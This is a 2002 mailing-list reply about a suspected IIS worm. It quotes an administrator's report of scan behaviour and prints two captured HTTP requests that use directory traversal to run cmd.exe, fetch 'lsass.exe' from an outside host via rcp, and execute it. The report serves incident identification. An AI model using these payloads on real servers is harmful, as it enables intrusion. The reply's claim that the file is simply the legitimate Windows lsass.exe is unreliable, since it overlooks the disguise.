Re: new IIS worm? (rcp lsass.exe)

From: Michael Thompson (mikeat_private)
Date: Sun Sep 22 2002 - 17:25:30 PDT

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    Hello Christian,
    
    On Sat, 21 Sep 2002, at 20:17:48 [GMT +0200] (which was 19:17 in my
    TimeZone) you wrote:
    
    
    
    
    CM> hi,
    
    CM> since about a week I notice attempts to exploit vulnerable IIS installations
    CM> (they show up with snort's "WEB-IIS multiple decode attempt" signature)
    CM> that seems to try and load an "lsass.exe" file via rcp.
    
    CM> As a search of google and securityfocus turned up nothing, I'll throw in 
    CM> what I gathered so far and ask if anybody can identify this: (it seems
    CM> the affected customer's systems weren't vulnerable, so I don't know what
    CM> the worm's further actions are).
    
    CM> The first part is a SYN scan for port 80, with the source port set to 80, 
    CM> differing ACK numbers, but the same ISN. Interestingly, it iterates over
    CM> the 3rd IP address octet first, and the 4th later, probably to make the scan
    CM> on the single /24 slower and less noticeable (in the case I've seen, it
    CM> has some 30 seconds between packets to consecutive addresses).
    
    CM> Then it seems to go after the web servers, sending the following:
    
    CM> GET /scripts/..%5c..%5cwinnt/system32/cmd.exe?/c+rcp+-b+64.21.95.7.lp:lsass.exe+. HTTP/1.0..
    
    CM> and
    
    CM> GET /scripts/..%5c..%5cwinnt/system32/cmd.exe?/c+lsass.exe HTTP/1.0
    
    CM> I've been able to get hold of that lsass.exe binary (9728 bytes), but 
    CM> I lack the skills to analyze it; I'll happily mail it to anybody who asks.
    
    CM> Yes, and the IP addresse doing the scanning + exploit attempts is different
    CM> from the one which provides lsass.exe; the scanning machine seems to be
    CM> a solaris 2.7 default install, the rcp-server seems to be solaris 2.8.
    
    CM> regards,
    
    CM> cm.
    
    
    lsass.exe is the Microsoft Secure Storage for 2000/NT and XP. It is
    responsable for managing secure storage in those enviroments.
    
    -- 
    Best regards,
     Michael
    
    http://wwww.thompsonmike.co.uk/
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    I just can't put it down. 
    
    
    
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